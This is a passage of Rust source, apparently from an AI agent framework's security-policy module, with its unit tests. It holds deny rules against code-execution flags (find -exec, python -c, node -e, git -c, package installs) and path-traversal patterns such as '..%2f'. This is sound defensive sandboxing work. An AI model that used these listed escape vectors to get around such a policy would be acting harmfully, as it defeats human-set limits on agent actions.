1508 }
1509
1510 let ampersand_check = strip_fd_merge_redirects(command);
1515 if contains_unquoted_single_ampersand(&ersand_check) {
1516 return false;
1517 }
1518
1519 let segments = split_unquoted_segments(command);
1521 for segment in &segments {
1522 let cmd_part = skip_env_assignments(segment);
1524
1525 let mut words = cmd_part.split_whitespace();
1526 let raw_executable = strip_wrapping_quotes(words.next().unwrap_or("")).trim();
1527 let executable = if let Some(idx) = raw_executable.find(['<', '>']) {
1531 &raw_executable[..idx]
1532 } else {
1533 raw_executable
1534 };
1535 let base_cmd_owned = command_basename(executable).to_ascii_lowercase();
1536 let base_cmd = strip_windows_exe_suffix(&base_cmd_owned);
1537
1538 if base_cmd.is_empty() {
1539 continue;
1540 }
1541
1542 if !self
1543 .allowed_commands
1544 .iter()
1545 .any(|allowed| is_allowlist_entry_match(allowed, executable, base_cmd))
1546 {
1547 return false;
1548 }
1549
1550 let args_cased: Vec<String> = words.map(|w| w.to_string()).collect();
1555 let args: Vec<String> = args_cased.iter().map(|w| w.to_ascii_lowercase()).collect();
1556 if !self.is_args_safe(base_cmd, &args, &args_cased) {
1557 return false;
1558 }
1559 }
1560
1561 segments.iter().any(|s| {
1563 let s = skip_env_assignments(s.trim());
1564 s.split_whitespace().next().is_some_and(|w| !w.is_empty())
1565 })
1566 }
1567
1568 fn is_args_safe(&self, base: &str, args: &[String], args_cased: &[String]) -> bool {
1579 let base = base.to_ascii_lowercase();
1580 match base.as_str() {
1581 "find" => {
1582 !args.iter().any(|arg| arg == "-exec" || arg == "-ok")
1584 }
1585 "git" => {
1586 !args_cased.iter().any(|arg| arg == "-c")
1593 && !args.iter().any(|arg| {
1594 arg == "config"
1595 || arg.starts_with("config.")
1596 || arg == "alias"
1597 || arg.starts_with("alias.")
1598 })
1599 }
1600 "python" | "python3" => {
1601 !args
1610 .iter()
1611 .any(|arg| arg.starts_with("-c") || arg.starts_with("-m"))
1612 }
1613 "node" => {
1614 !args.iter().any(|arg| {
1619 arg.starts_with("-e")
1620 || arg.starts_with("--eval")
1621 || arg.starts_with("-p")
1622 || arg.starts_with("--print")
1623 })
1624 }
1625 "pip" | "pip3" => {
1626 !args.iter().any(|arg| arg == "install" || arg == "download")
1629 }
1630 "npm" => {
1631 !args.iter().any(|arg| {
1635 arg == "exec" || arg == "install" || arg == "i" || arg == "add" || arg == "ci"
1636 })
1637 }
1638 "cargo" => {
1639 !args.iter().any(|arg| arg == "install")
1642 }
1643 _ => true,
1644 }
1645 }
1646
1647 pub fn forbidden_path_argument(&self, command: &str) -> Option<String> {
1652 let forbidden_candidate = |raw: &str| {
1653 let candidate = strip_wrapping_quotes(raw).trim();
1654 if candidate.is_empty() || candidate.contains("://") {
1655 return None;
1656 }
1657 if looks_like_path(candidate) && !self.is_path_allowed(candidate) {
1658 Some(candidate.to_string())
1659 } else {
1660 None
1661 }
1662 };
1663 let forbidden_non_redirect_candidate = |raw: &str| {
1664 let candidate = strip_wrapping_quotes(raw).trim();
1665 if candidate.is_empty() || candidate.contains("://") {
1666 return None;
1667 }
1668 if candidate.starts_with('-') {
1669 if let Some((_, value)) = candidate.split_once('=')
1670 && let Some(blocked) = forbidden_candidate(value)
1671 {
1672 return Some(blocked);
1673 }
1674 if let Some(value) = attached_short_option_value(candidate)
1675 && let Some(blocked) = forbidden_candidate(value)
1676 {
1677 return Some(blocked);
1678 }
1679 return None;
1680 }
1681 forbidden_candidate(candidate)
1682 };
1683
1684 for segment in split_unquoted_segments(command) {
1685 let cmd_part = skip_env_assignments(&segment);
1686 let mut words = cmd_part.split_whitespace();
1687 let Some(executable) = words.next() else {
1688 continue;
1689 };
1690
1691 let executable_redirect = parse_redirection_argument(strip_wrapping_quotes(executable));
1692 let mut next_is_redirect_target = false;
1693 match executable_redirect {
1695 RedirectionArgument::Target { target, .. } => {
1696 if !is_safe_device_redirect_target(target)
1697 && let Some(blocked) = forbidden_candidate(target)
1698 {
1699 return Some(blocked);
1700 }
1701 }
1702 RedirectionArgument::NeedsNextToken { .. } => {
1703 next_is_redirect_target = true;
1704 }
1705 RedirectionArgument::FdOnly { .. } | RedirectionArgument::None => {}
1706 }
1707
1708 for token in words {
1709 let candidate = strip_wrapping_quotes(token).trim();
1710 if candidate.is_empty() {
1711 continue;
1712 }
1713
1714 if next_is_redirect_target {
1715 next_is_redirect_target = false;
1716 if is_safe_device_redirect_target(candidate) {
1717 continue;
1718 }
1719 if let Some(blocked) = forbidden_candidate(candidate) {
1720 return Some(blocked);
1721 }
1722 continue;
1723 }
1724
1725 if candidate.contains("://") {
1726 continue;
1727 }
1728
1729 match parse_redirection_argument(candidate) {
1730 RedirectionArgument::Target { prefix, target } => {
1731 if let Some(blocked) = forbidden_non_redirect_candidate(prefix) {
1732 return Some(blocked);
1733 }
1734 if is_safe_device_redirect_target(target) {
1735 continue;
1736 }
1737 if let Some(blocked) = forbidden_candidate(target) {
1738 return Some(blocked);
1739 }
1740 }
1741 RedirectionArgument::NeedsNextToken { prefix } => {
1742 if let Some(blocked) = forbidden_non_redirect_candidate(prefix) {
1743 return Some(blocked);
1744 }
1745 next_is_redirect_target = true;
1746 continue;
1747 }
1748 RedirectionArgument::FdOnly { prefix } => {
1749 if let Some(blocked) = forbidden_non_redirect_candidate(prefix) {
1750 return Some(blocked);
1751 }
1752 continue;
1753 }
1754 RedirectionArgument::None => {}
1755 }
1756
1757 if let Some(blocked) = forbidden_non_redirect_candidate(candidate) {
1759 return Some(blocked);
1760 }
1761 if candidate.starts_with('-') {
1762 continue;
1763 }
1764 }
1765 }
1766
1767 None
1768 }
1769
1770 pub fn is_path_allowed(&self, path: &str) -> bool {
1778 if path.contains('\0') {
1780 return false;
1781 }
1782
1783 if Path::new(path)
1785 .components()
1786 .any(|c| matches!(c, std::path::Component::ParentDir))
1787 {
1788 return false;
1789 }
1790
1791 let lower = path.to_lowercase();
1793 if lower.contains("..%2f") || lower.contains("%2f..") {
1794 return false;
1795 }
1796
1797 if path.starts_with('~') && path != "~" && !path.starts_with("~/") {
1800 return false;
1801 }
1802
1803 let expanded_path = expand_user_path(path);
1805
1806 if is_null_device(&expanded_path) {
1809 return true;
1810 }
1811
1812 if expanded_path.is_absolute() {
1819 let in_workspace = expanded_path.starts_with(&self.workspace_dir);
1820 let in_allowed_root = self
1821 .allowed_roots
1822 .iter()
1823 .any(|root| expanded_path.starts_with(root));
1824 let in_read_only_root = self
1831 .allowed_roots_read_only
1832 .iter()
1833 .any(|root| expanded_path.starts_with(root));
1834 let in_write_only_root = self
1835 .allowed_roots_write_only
1836 .iter()
1837 .any(|root| expanded_path.starts_with(root));
1838
1839 if in_workspace || in_allowed_root || in_read_only_root || in_write_only_root {
1840 return true;
1841 }
1842
1843 if self.workspace_only {
1846 return false;
1847 }
1848 }
1849
1850 for forbidden in &self.forbidden_paths {
1852 let forbidden_path = expand_user_path(forbidden);
1853 if expanded_path.starts_with(forbidden_path) {
1854 return false;
1855 }
1856 }
1857
1858 true
1859 }
1860
1861 pub fn is_resolved_path_readable(&self, resolved: &Path) -> bool {
1879 const POSIX_DEVICE_READS: &[&str] =
1884 &["/dev/null", "/dev/zero", "/dev/random", "/dev/urandom"];
1885 for device in POSIX_DEVICE_READS {
1886 if resolved == Path::new(device) {
1887 return true;
1888 }
1889 }
1890
1891 let workspace_root = self
1896 .workspace_dir
1897 .canonicalize()
1898 .unwrap_or_else(|_| self.workspace_dir.clone());
1899 if resolved.starts_with(&workspace_root) {
1900 return true;
1901 }
1902 for root in &self.allowed_roots {
1903 let canonical = root.canonicalize().unwrap_or_else(|_| root.clone());
1904 if resolved.starts_with(&canonical) {
1905 return true;
1906 }
1907 }
1908 for root in &self.allowed_roots_read_only {
1909 let canonical = root.canonicalize().unwrap_or_else(|_| root.clone());
1910 if resolved.starts_with(&canonical) {
1911 return true;
1912 }
1913 }
1914 for root in &self.allowed_roots_write_only {
1915 let canonical = root.canonicalize().unwrap_or_else(|_| root.clone());
1916 if resolved.starts_with(&canonical) {
1917 return false;
1918 }
1919 }
1920
1921 for forbidden in &self.forbidden_paths {
1925 let forbidden_path = expand_user_path(forbidden);
1926 if resolved.starts_with(&forbidden_path) {
1927 return false;
1928 }
1929 }
1930 if !self.workspace_only {
1931 return true;
1932 }
1933 false
1934 }
1935
1936 pub fn is_resolved_path_allowed(&self, resolved: &Path) -> bool {
1944 if is_null_device(resolved) {
1945 return true;
1946 }
1947
1948 let workspace_root = self
1951 .workspace_dir
1952 .canonicalize()
1953 .unwrap_or_else(|_| self.workspace_dir.clone());
1954 if resolved.starts_with(&workspace_root) {
1955 return true;
1956 }
1957
1958 for root in &self.allowed_roots {
1962 let canonical = root.canonicalize().unwrap_or_else(|_| root.clone());
1963 if resolved.starts_with(&canonical) {
1964 return true;
1965 }
1966 }
1967
1968 for root in &self.allowed_roots_write_only {
1972 let canonical = root.canonicalize().unwrap_or_else(|_| root.clone());
1973 if resolved.starts_with(&canonical) {
1974 return true;
1975 }
1976 }
1977
1978 for forbidden in &self.forbidden_paths {
1981 let forbidden_path = expand_user_path(forbidden);
1982 if resolved.starts_with(&forbidden_path) {
1983 return false;
1984 }
1985 }
1986
1987 if !self.workspace_only {
1990 return true;
1991 }
1992
1993 false
1994 }
1995
1996 fn runtime_config_dir(&self) -> Option<PathBuf> {
1997 let parent = self.workspace_dir.parent()?;
1998 Some(
1999 parent
2000 .canonicalize()
2001 .unwrap_or_else(|_| parent.to_path_buf()),
2002 )
2003 }
2004
2005 pub fn is_runtime_config_path(&self, resolved: &Path) -> bool {
2006 let Some(config_dir) = self.runtime_config_dir() else {
2007 return false;
2008 };
2009 if !resolved.starts_with(&config_dir) {
2010 return false;
2011 }
2012 if resolved.parent() != Some(config_dir.as_path()) {
2013 return false;
2014 }
2015
2016 let Some(file_name) = resolved.file_name().and_then(|value| value.to_str()) else {
2017 return false;
2018 };
2019
2020 file_name == "config.toml"
2021 || file_name == "config.toml.bak"
2022 || file_name.starts_with(".config.toml.tmp-")
2023 }
2024
2025 pub fn runtime_config_violation_message(&self, resolved: &Path) -> String {
2026 format!(
2027 "Refusing to modify ZeroClaw runtime config/state file: {}. Use dedicated config tools or edit it manually outside the agent loop.",
2028 resolved.display()
2029 )
2030 }
2031
2032 pub fn resolved_path_violation_message(&self, resolved: &Path) -> String {
2033 let guidance = if self.allowed_roots.is_empty() {
2034 "Add the directory to [autonomy].allowed_roots (for example: allowed_roots = [\"/absolute/path\"]), or move the file into the workspace."
2035 } else {
2036 "Add a matching parent directory to [autonomy].allowed_roots, or move the file into the workspace."
2037 };
2038
2039 format!(
2040 "Resolved path escapes workspace allowlist: {}. {}",
2041 resolved.display(),
2042 guidance
2043 )
2044 }
2045
2046 pub fn can_act(&self) -> bool {
2048 self.autonomy != AutonomyLevel::ReadOnly
2049 }
2050
2051 pub fn enforce_tool_operation(
2061 &self,
2062 operation: ToolOperation,
2063 operation_name: &str,
2064 ) -> Result<(), String> {
2065 match operation {
2066 ToolOperation::Read => Ok(()),
2067 ToolOperation::Act => {
2068 if !self.can_act() {
2069 return Err(format!(
2070 "Security policy: read-only mode, cannot perform '{operation_name}'"
2071 ));
2072 }
2073
2074 if !self.record_action() {
2075 return Err("Rate limit exceeded: action budget exhausted".to_string());
2076 }
2077
2078 Ok(())
2079 }
2080 }
2081 }
2082
2083 pub fn record_action(&self) -> bool {
2086 self.tracker.record_for_current(self.max_actions_per_hour)
2087 }
2088
2089 pub fn is_rate_limited(&self) -> bool {
2091 self.tracker
2092 .is_limited_for_current(self.max_actions_per_hour)
2093 }
2094
2095 pub fn resolve_tool_path(&self, path: &str) -> PathBuf {
2101 let expanded = expand_user_path(path);
2102 if expanded.is_absolute() {
2103 expanded
2104 } else if let Some(workspace_hint) = rootless_path(&self.workspace_dir) {
2105 if let Ok(stripped) = expanded.strip_prefix(&workspace_hint) {
2106 if stripped.as_os_str().is_empty() {
2107 self.workspace_dir.clone()
2108 } else {
2109 self.workspace_dir.join(stripped)
2110 }
2111 } else {
2112 self.workspace_dir.join(expanded)
2113 }
2114 } else {
2115 self.workspace_dir.join(expanded)
2116 }
2117 }
2118
2119 pub fn is_under_allowed_root(&self, path: &str) -> bool {
2131 let expanded = expand_user_path(path);
2132 if !expanded.is_absolute() {
2133 return false;
2134 }
2135 roots_contain(&self.allowed_roots, &expanded)
2136 || roots_contain(&self.allowed_roots_write_only, &expanded)
2137 }
2138
2139 #[must_use]
2147 pub fn is_under_read_only_allowed_root(&self, path: &str) -> bool {
2148 let expanded = expand_user_path(path);
2149 if !expanded.is_absolute() {
2150 return false;
2151 }
2152 roots_contain(&self.allowed_roots_read_only, &expanded)
2153 }
2154
2155 #[must_use]
2165 pub fn is_under_any_allowed_root(&self, path: &str) -> bool {
2166 self.is_under_allowed_root(path) || self.is_under_read_only_allowed_root(path)
2167 }
2168
2169 pub fn ensure_no_escalation_beyond(
2195 &self,
2196 parent: &SecurityPolicy,
2197 ) -> Result<(), EscalationViolation> {
2198 if self.autonomy > parent.autonomy {
2201 return Err(EscalationViolation::AutonomyAboveParent {
2202 child: self.autonomy,
2203 parent: parent.autonomy,
2204 });
2205 }
2206
2207 for root in &self.allowed_roots {
2213 if !parent.allowed_roots.iter().any(|p| path_contains(p, root)) {
2214 return Err(EscalationViolation::ReadWriteRootNotInParent { path: root.clone() });
2215 }
2216 }
2217 for root in &self.allowed_roots_read_only {
2218 let in_parent_rw = parent.allowed_roots.iter().any(|p| path_contains(p, root));
2219 let in_parent_ro = parent
2220 .allowed_roots_read_only
2221 .iter()
2222 .any(|p| path_contains(p, root));
2223 if !in_parent_rw && !in_parent_ro {
2224 return Err(EscalationViolation::ReadOnlyRootNotInParent { path: root.clone() });
2225 }
2226 }
2227 for root in &self.allowed_roots_write_only {
2228 let in_parent_rw = parent.allowed_roots.iter().any(|p| path_contains(p, root));
2229 let in_parent_wo = parent
2230 .allowed_roots_write_only
2231 .iter()
2232 .any(|p| path_contains(p, root));
2233 if !in_parent_rw && !in_parent_wo {
2234 return Err(EscalationViolation::WriteOnlyRootNotInParent { path: root.clone() });
2235 }
2236 }
2237 for cmd in &self.allowed_commands {
2238 if !parent.allowed_commands.iter().any(|p| p == cmd) {
2239 return Err(EscalationViolation::CommandNotInParent {
2240 command: cmd.clone(),
2241 });
2242 }
2243 }
2244 if parent.workspace_only && !self.workspace_only {
2245 return Err(EscalationViolation::WorkspaceOnlyDisabledByChild);
2246 }
2247
2248 for parent_forbidden in &parent.forbidden_paths {
2252 if !self.forbidden_paths.iter().any(|c| c == parent_forbidden) {
2253 return Err(EscalationViolation::ForbiddenPathDroppedByChild {
2254 path: parent_forbidden.clone(),
2255 });
2256 }
2257 }
2258
2259 for var in &self.shell_env_passthrough {
2262 if !parent.shell_env_passthrough.iter().any(|p| p == var) {
2263 return Err(EscalationViolation::ShellEnvPassthroughExpanded {
2264 variable: var.clone(),
2265 });
2266 }
2267 }
2268
2269 if self.max_actions_per_hour > parent.max_actions_per_hour {
2270 return Err(EscalationViolation::MaxActionsExceeded {
2271 child: self.max_actions_per_hour,
2272 parent: parent.max_actions_per_hour,
2273 });
2274 }
2275 if self.max_cost_per_day_cents > parent.max_cost_per_day_cents {
2276 return Err(EscalationViolation::MaxCostExceeded {
2277 child: self.max_cost_per_day_cents,
2278 parent: parent.max_cost_per_day_cents,
2279 });
2280 }
2281 if self.shell_timeout_secs > parent.shell_timeout_secs {
2282 return Err(EscalationViolation::ShellTimeoutExceeded {
2283 child: self.shell_timeout_secs,
2284 parent: parent.shell_timeout_secs,
2285 });
2286 }
2287 if parent.block_high_risk_commands && !self.block_high_risk_commands {
2288 return Err(EscalationViolation::BlockHighRiskCommandsDisabledByChild);
2289 }
2290 if parent.require_approval_for_medium_risk && !self.require_approval_for_medium_risk {
2291 return Err(EscalationViolation::RequireApprovalDisabledByChild);
2292 }
2293
2294 Ok(())
2295 }
2296
2297 pub fn from_risk_profile(
2303 risk_profile: &crate::schema::RiskProfileConfig,
2304 workspace_dir: &Path,
2305 ) -> Self {
2306 Self::from_profiles(risk_profile, None, workspace_dir)
2307 }
2308
2309 pub fn from_profiles(
2317 risk_profile: &crate::schema::RiskProfileConfig,
2318 runtime_profile: Option<&crate::schema::RuntimeProfileConfig>,
2319 workspace_dir: &Path,
2320 ) -> Self {
2321 let effective_workspace_only = if risk_profile.level == AutonomyLevel::Full {
2326 false
2327 } else {
2328 risk_profile.workspace_only
2329 };
2330
2331 let runtime_default = crate::schema::RuntimeProfileConfig::default();
2332 let runtime = runtime_profile.unwrap_or(&runtime_default);
2333
2334 Self {
2335 autonomy: risk_profile.level,
2336 risk_profile_name: String::new(),
2337 delegation_policy: risk_profile.delegation_policy.clone(),
2338 workspace_dir: workspace_dir.to_path_buf(),
2339 workspace_only: effective_workspace_only,
2340 allowed_commands: risk_profile.allowed_commands.clone(),
2341 forbidden_paths: risk_profile.forbidden_paths.clone(),
2342 allowed_roots: risk_profile
2343 .allowed_roots
2344 .iter()
2345 .filter(|root| {
2346 let t = root.trim();
2347 !t.is_empty() && t != crate::traits::UNSET_DISPLAY && t != "*"
2348 })
2349 .map(|root| {
2350 let expanded = expand_user_path(root);
2351 if expanded.is_absolute() {
2352 expanded
2353 } else {
2354 workspace_dir.join(expanded)
2355 }
2356 })
2357 .collect(),
2358 allowed_roots_read_only: Vec::new(),
2365 allowed_roots_write_only: Vec::new(),
2366 max_actions_per_hour: runtime.max_actions_per_hour,
2367 max_cost_per_day_cents: runtime.max_cost_per_day_cents,
2368 require_approval_for_medium_risk: risk_profile.require_approval_for_medium_risk,
2369 block_high_risk_commands: risk_profile.block_high_risk_commands,
2370 shell_env_passthrough: risk_profile.shell_env_passthrough.clone(),
2371 shell_timeout_secs: runtime.shell_timeout_secs,
2372 allowed_tools: if risk_profile.allowed_tools.is_empty() {
2373 None
2374 } else {
2375 Some(risk_profile.allowed_tools.clone())
2376 },
2377 excluded_tools: if risk_profile.excluded_tools.is_empty() {
2378 None
2379 } else {
2380 Some(risk_profile.excluded_tools.clone())
2381 },
2382 auto_approve: risk_profile.auto_approve.clone(),
2383 always_ask: risk_profile.always_ask.clone(),
2384 sandbox_enabled: risk_profile.sandbox_enabled,
2385 sandbox_backend: risk_profile.sandbox_backend.clone(),
2386 firejail_args: risk_profile.firejail_args.clone(),
2387 tracker: PerSenderTracker::new(),
2388 }
2389 }
2390
2391 pub fn for_agent(config: &crate::schema::Config, agent_alias: &str) -> anyhow::Result<Self> {
2399 let risk_profile = config.risk_profile_for_agent(agent_alias).ok_or_else(|| {
2400 ::zeroclaw_log::record!(
2401 ERROR,
2402 ::zeroclaw_log::Event::new(module_path!(), ::zeroclaw_log::Action::Fail)
2403 .with_outcome(::zeroclaw_log::EventOutcome::Failure)
2404 .with_attrs(::serde_json::json!({"agent_alias": agent_alias})),
2405 "SecurityPolicy::for_agent: agent has no resolvable risk_profile"
2406 );
2407 anyhow::Error::msg(format!(
2408 "agents.{agent_alias} has no resolvable risk_profile (load-time validation should have caught this)"
2409 ))
2410 })?;
2411 let runtime_profile = config.runtime_profile_for_agent(agent_alias);
2412 let agent_workspace = config.agent_workspace_dir(agent_alias);
2416 let mut policy = Self::from_profiles(risk_profile, runtime_profile, &agent_workspace);
2417 if let Some(agent_cfg) = config.agents.get(agent_alias) {
2418 policy.risk_profile_name = agent_cfg.risk_profile.trim().to_string();
2419 }
2420
2421 policy
2429 .allowed_roots_read_only
2430 .push(config.shared_workspace_dir().join("skills"));
2431
2432 if let Some(agent_cfg) = config.agents.get(agent_alias) {
2438 for (sibling_alias, mode) in &agent_cfg.workspace.access {
2439 let sibling_dir = config.agent_workspace_dir(sibling_alias.as_str());
2440 match mode {
2441 crate::multi_agent::AccessMode::Read => {
2442 policy.allowed_roots_read_only.push(sibling_dir);
2443 }
2444 crate::multi_agent::AccessMode::Write => {
2445 policy.allowed_roots_write_only.push(sibling_dir);
2446 }
2447 crate::multi_agent::AccessMode::ReadWrite => {
2448 policy.allowed_roots.push(sibling_dir);
2449 }
2450 }
2451 }
2452
2453 if agent_cfg.workspace.unrestricted_filesystem {
2457 policy.workspace_only = false;
2458 }
2459 }
2460
2461 Ok(policy)
2462 }
2463
2464 pub fn prompt_summary(&self) -> String {
2471 use std::fmt::Write;
2472
2473 let mut out = String::new();
2474
2475 let _ = writeln!(out, "**Autonomy level**: {:?}", self.autonomy);
2477
2478 if self.workspace_only {
2480 let _ = writeln!(
2481 out,
2482 "**Workspace boundary**: file operations are restricted to `{}`.",
2483 self.workspace_dir.display()
2484 );
2485 }
2486
2487 if !self.allowed_roots.is_empty() {
2489 let roots: Vec<String> = self
2490 .allowed_roots
2491 .iter()
2492 .map(|p| format!("`{}`", p.display()))
2493 .collect();
2494 let _ = writeln!(out, "**Additional allowed paths**: {}", roots.join(", "));
2495 }
2496
2497 if !self.allowed_commands.is_empty() {
2499 let cmds: Vec<String> = self
2500 .allowed_commands
2501 .iter()
2502 .map(|c| format!("`{c}`"))
2503 .collect();
2504 let _ = writeln!(
2505 out,
2506 "**Allowed shell commands**: {}. \
2507 You may execute these commands freely.",
2508 cmds.join(", ")
2509 );
2510 }
2511
2512 if !self.forbidden_paths.is_empty() {
2514 let paths: Vec<String> = self
2515 .forbidden_paths
2516 .iter()
2517 .map(|p| format!("`{p}`"))
2518 .collect();
2519 let _ = writeln!(
2520 out,
2521 "**Forbidden paths**: {}. \
2522 Avoid accessing these paths.",
2523 paths.join(", ")
2524 );
2525 }
2526
2527 if self.block_high_risk_commands {
2529 let _ = writeln!(
2530 out,
2531 "Exercise caution with destructive commands (rm, kill, reboot, etc.)."
2532 );
2533 }
2534 if self.require_approval_for_medium_risk {
2535 let _ = writeln!(
2536 out,
2537 "**Medium-risk commands** require user approval before execution."
2538 );
2539 }
2540
2541 let _ = writeln!(
2543 out,
2544 "**Rate limit**: max {} actions per hour per chat (each conversation has its own independent budget).",
2545 self.max_actions_per_hour
2546 );
2547
2548 out
2549 }
2550}
2551
2552#[cfg(test)]
2553mod tests {
2554 use super::*;
2555
2556 fn default_policy() -> SecurityPolicy {
2557 SecurityPolicy::default()
2558 }
2559
2560 #[cfg(not(target_os = "windows"))]
2565 fn tp_ws() -> PathBuf {
2566 PathBuf::from("/home/user/.zeroclaw/workspace")
2567 }
2568 #[cfg(target_os = "windows")]
2569 fn tp_ws() -> PathBuf {
2570 PathBuf::from("C:\\Users\\user\\.zeroclaw\\workspace")
2571 }
2572
2573 #[cfg(not(target_os = "windows"))]
2574 fn tp_ws_shared() -> PathBuf {
2575 PathBuf::from("/home/user/.zeroclaw/shared")
2576 }
2577 #[cfg(target_os = "windows")]
2578 fn tp_ws_shared() -> PathBuf {
2579 PathBuf::from("C:\\Users\\user\\.zeroclaw\\shared")
2580 }
2581
2582 #[cfg(not(target_os = "windows"))]
2583 fn tp_outside1() -> &'static str {
2584 "/home/user/other/file.txt"
2585 }
2586 #[cfg(target_os = "windows")]
2587 fn tp_outside1() -> &'static str {
2588 "C:\\Users\\user\\other\\file.txt"
2589 }
2590
2591 #[cfg(not(target_os = "windows"))]
2592 fn tp_outside2() -> &'static str {
2593 "/tmp/file.txt"
2594 }
2595 #[cfg(target_os = "windows")]
2596 fn tp_outside2() -> &'static str {
2597 "C:\\Users\\Public\\file.txt"
2598 }
2599
2600 #[cfg(not(target_os = "windows"))]
2601 fn tp_sys() -> &'static str {
2602 "/etc"
2603 }
2604 #[cfg(target_os = "windows")]
2605 fn tp_sys() -> &'static str {
2606 "C:\\Windows\\System32"
2607 }
2608
2609 #[cfg(not(target_os = "windows"))]
2610 fn tp_sys_sub(sub: &str) -> String {
2611 format!("/{sub}")
2612 }
2613 #[cfg(target_os = "windows")]
2614 fn tp_sys_sub(sub: &str) -> String {
2615 format!("C:\\Windows\\{}", sub.replace('/', "\\"))
2616 }
2617
2618 #[cfg(not(target_os = "windows"))]
2619 fn tp_proj() -> PathBuf {
2620 PathBuf::from("/projects")
2621 }
2622 #[cfg(target_os = "windows")]
2623 fn tp_proj() -> PathBuf {
2624 PathBuf::from("C:\\projects")
2625 }
2626
2627 #[cfg(not(target_os = "windows"))]
2628 fn tp_data() -> PathBuf {
2629 PathBuf::from("/data")
2630 }
2631 #[cfg(target_os = "windows")]
2632 fn tp_data() -> PathBuf {
2633 PathBuf::from("C:\\data")
2634 }
2635
2636 #[cfg(not(target_os = "windows"))]
2637 fn tp_rw() -> PathBuf {
2638 PathBuf::from("/rw-data")
2639 }
2640 #[cfg(target_os = "windows")]
2641 fn tp_rw() -> PathBuf {
2642 PathBuf::from("C:\\rw-data")
2643 }
2644
2645 #[cfg(not(target_os = "windows"))]
2646 fn tp_ro() -> PathBuf {
2647 PathBuf::from("/ro-shared")
2648 }
2649 #[cfg(target_os = "windows")]
2650 fn tp_ro() -> PathBuf {
2651 PathBuf::from("C:\\ro-shared")
2652 }
2653
2654 #[test]
2662 fn is_tool_allowed_none_is_unrestricted() {
2663 let p = SecurityPolicy {
2664 allowed_tools: None,
2665 excluded_tools: None,
2666 ..SecurityPolicy::default()
2667 };
2668 assert!(p.is_tool_allowed("shell"));
2669 assert!(p.is_tool_allowed("spawn_subagent"));
2670 assert!(p.is_tool_allowed("anything_else"));
2671 }
2672
2673 #[test]
2674 fn is_tool_allowed_some_empty_denies_all() {
2675 let p = SecurityPolicy {
2676 allowed_tools: Some(vec![]),
2677 ..SecurityPolicy::default()
2678 };
2679 assert!(!p.is_tool_allowed("shell"));
2680 assert!(!p.is_tool_allowed("spawn_subagent"));
2681 }
2682
2683 #[test]
2684 fn is_tool_allowed_allowlist_admits_only_listed() {
2685 let p = SecurityPolicy {
2686 allowed_tools: Some(vec!["shell".into(), "memory_recall".into()]),
2687 ..SecurityPolicy::default()
2688 };
2689 assert!(p.is_tool_allowed("shell"));
2690 assert!(p.is_tool_allowed("memory_recall"));
2691 assert!(!p.is_tool_allowed("spawn_subagent"));
2692 assert!(!p.is_tool_allowed("file_write"));
2693 }
2694
2695 #[test]
2696 fn is_tool_allowed_excluded_overrides_allowlist() {
2697 let p = SecurityPolicy {
2698 allowed_tools: Some(vec!["shell".into(), "spawn_subagent".into()]),
2699 excluded_tools: Some(vec!["spawn_subagent".into()]),
2700 ..SecurityPolicy::default()
2701 };
2702 assert!(p.is_tool_allowed("shell"));
2703 assert!(
2704 !p.is_tool_allowed("spawn_subagent"),
2705 "excluded_tools must subtract from allowlist"
2706 );
2707 }
2708
2709 #[test]
2710 fn is_tool_allowed_excluded_alone_subtracts_from_unrestricted() {
2711 let p = SecurityPolicy {
2712 allowed_tools: None,
2713 excluded_tools: Some(vec!["spawn_subagent".into()]),
2714 ..SecurityPolicy::default()
2715 };
2716 assert!(p.is_tool_allowed("shell"));
2717 assert!(!p.is_tool_allowed("spawn_subagent"));
2718 }
2719
2720 #[test]
2729 fn from_profiles_propagates_every_risk_profile_field() {
2730 use crate::schema::RiskProfileConfig;
2731 use std::path::Path;
2732
2733 let rp = RiskProfileConfig {
2734 level: AutonomyLevel::ReadOnly,
2735 workspace_only: true,
2736 allowed_commands: vec!["only_this".into()],
2737 forbidden_paths: vec!["/secret".into()],
2738 require_approval_for_medium_risk: false,
2739 block_high_risk_commands: false,
2740 shell_env_passthrough: vec!["EDITOR".into(), "PAGER".into()],
2741 auto_approve: vec!["memory_recall".into()],
2742 always_ask: vec!["shell".into()],
2743 allowed_roots: vec!["/tmp/extra".into()],
2744 delegation_policy: crate::autonomy::DelegationPolicy::default(),
2745 allowed_tools: vec!["shell".into(), "memory_recall".into()],
2746 excluded_tools: vec!["spawn_subagent".into()],
2747 sandbox_enabled: Some(true),
2748 sandbox_backend: Some("firejail".into()),
2749 firejail_args: vec!["--net=none".into()],
2750 };
2751
2752 let policy = SecurityPolicy::from_profiles(&rp, None, Path::new("/ws"));
2753
2754 assert_eq!(policy.autonomy, AutonomyLevel::ReadOnly, "level → autonomy");
2755 assert!(policy.workspace_only, "workspace_only");
2756 assert_eq!(policy.allowed_commands, vec!["only_this".to_string()]);
2757 assert_eq!(policy.forbidden_paths, vec!["/secret".to_string()]);
2758 assert!(!policy.require_approval_for_medium_risk);
2759 assert!(!policy.block_high_risk_commands);
2760 assert_eq!(
2761 policy.shell_env_passthrough,
2762 vec!["EDITOR".to_string(), "PAGER".to_string()]
2763 );
2764 assert_eq!(
2765 policy.auto_approve,
2766 vec!["memory_recall".to_string()],
2767 "auto_approve must reach the policy"
2768 );
2769 assert_eq!(
2770 policy.always_ask,
2771 vec!["shell".to_string()],
2772 "always_ask must reach the policy"
2773 );
2774 assert!(
2775 policy.allowed_roots.iter().any(|p| p.ends_with("extra")),
2776 "allowed_roots expansion must reach the policy"
2777 );
2778 assert_eq!(
2779 policy.allowed_tools.as_deref(),
2780 Some(&["shell".to_string(), "memory_recall".to_string()][..]),
2781 "allowed_tools must reach the policy"
2782 );
2783 assert_eq!(
2784 policy.excluded_tools.as_deref(),
2785 Some(&["spawn_subagent".to_string()][..]),
2786 "excluded_tools must reach the policy"
2787 );
2788 assert_eq!(policy.sandbox_enabled, Some(true), "sandbox_enabled");
2789 assert_eq!(
2790 policy.sandbox_backend.as_deref(),
2791 Some("firejail"),
2792 "sandbox_backend"
2793 );
2794 assert_eq!(
2795 policy.firejail_args,
2796 vec!["--net=none".to_string()],
2797 "firejail_args"
2798 );
2799 }
2800
2801 #[test]
2806 fn from_profiles_full_autonomy_drops_workspace_only() {
2807 use crate::schema::RiskProfileConfig;
2808 use std::path::Path;
2809
2810 let rp = RiskProfileConfig {
2811 level: AutonomyLevel::Full,
2812 workspace_only: true,
2813 ..RiskProfileConfig::default()
2814 };
2815
2816 let policy = SecurityPolicy::from_profiles(&rp, None, Path::new("/ws"));
2817 assert!(
2818 !policy.workspace_only,
